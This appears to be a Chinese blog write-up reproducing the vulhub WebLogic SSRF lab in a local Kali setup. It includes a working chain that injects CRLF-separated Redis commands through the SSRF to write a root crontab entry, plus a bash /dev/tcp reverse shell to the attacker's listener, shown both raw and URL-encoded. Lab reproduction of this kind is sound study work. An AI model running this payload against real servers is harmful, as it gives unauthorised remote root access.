要复现的就是这个靶场了,为了弄清一下通过ssrf漏洞来getshell的过程
准备
我是基于kali上安装好了vulhub和docker环境开始的喔
攻击机就是我的物理机:ip:192.168.20.1
靶机就是我的kali虚拟了:ip:192.168.160.128
然后因为反弹shell,要监听端口的原因,需要在物理机上安装一下netcat
安装步骤的话
netcat官网下载地址
点netcat 1.12下载到一个自己的目录下解压就行
也不用添加环境变量,如果要运行的话,进入到下载目录,在地址栏输入cmd就可以使用nc命令了
启动环境开始
环境启动环节
在这里有遇到一个小问题,就是启动之后,会发现redis其实没启动起来,后面的端口号没有显示,是空白的。后来找到了原因,参考了一下这个:[kali docker无法启动Redis_ (/vulhub/weblogic/ssrf),JBoss(jboss/CVE-2017-12149)无法启动环境(https://blog.csdn.net/weixin_43886198/article/details/111144854?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169172528916800182153891%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=169172528916800182153891&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-14-111144854-null-null.142%5Ev92%5EchatsearchT3_1&utm_term=vulhub%20weblogic%20ssrf&spm=1018.2226.3001.4187)
调整之后重启kali,再按步骤启动环境就正常了。
查看一下redis所在的服务地址和端口
docker ps -a
docker inspect ssrf_redis_1
漏洞利用
用 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp 来访问漏洞页面
payload大概就是这样,直接在地址栏输入,改一下后面的ip和端口号
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://攻击机ip:端口
看页面的报错信息
当你的ip不存在时,他页面的返回结果是这个样子的
当ip存在,端口不存在时,是这个样子的
当ip和端口都存在,他是这个样子的
反弹shell
命令
#写入文件名,这里我叫stest
#set xx "\n* * * * * bash -i >& /dev/tcp/反弹shell的ip地址/监听端口 0>&1\n"
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.20.1/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
进行url编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.1%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
拼接payload,记得改一下自己的ip和端口
http://靶机ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://攻击机ip:端口/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.1%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
这就是文件写入成功了
监听端口
在攻击机上监听一下你填写的端口,我这里是4444
可以看到已经反弹过来了
参考:添加链接描述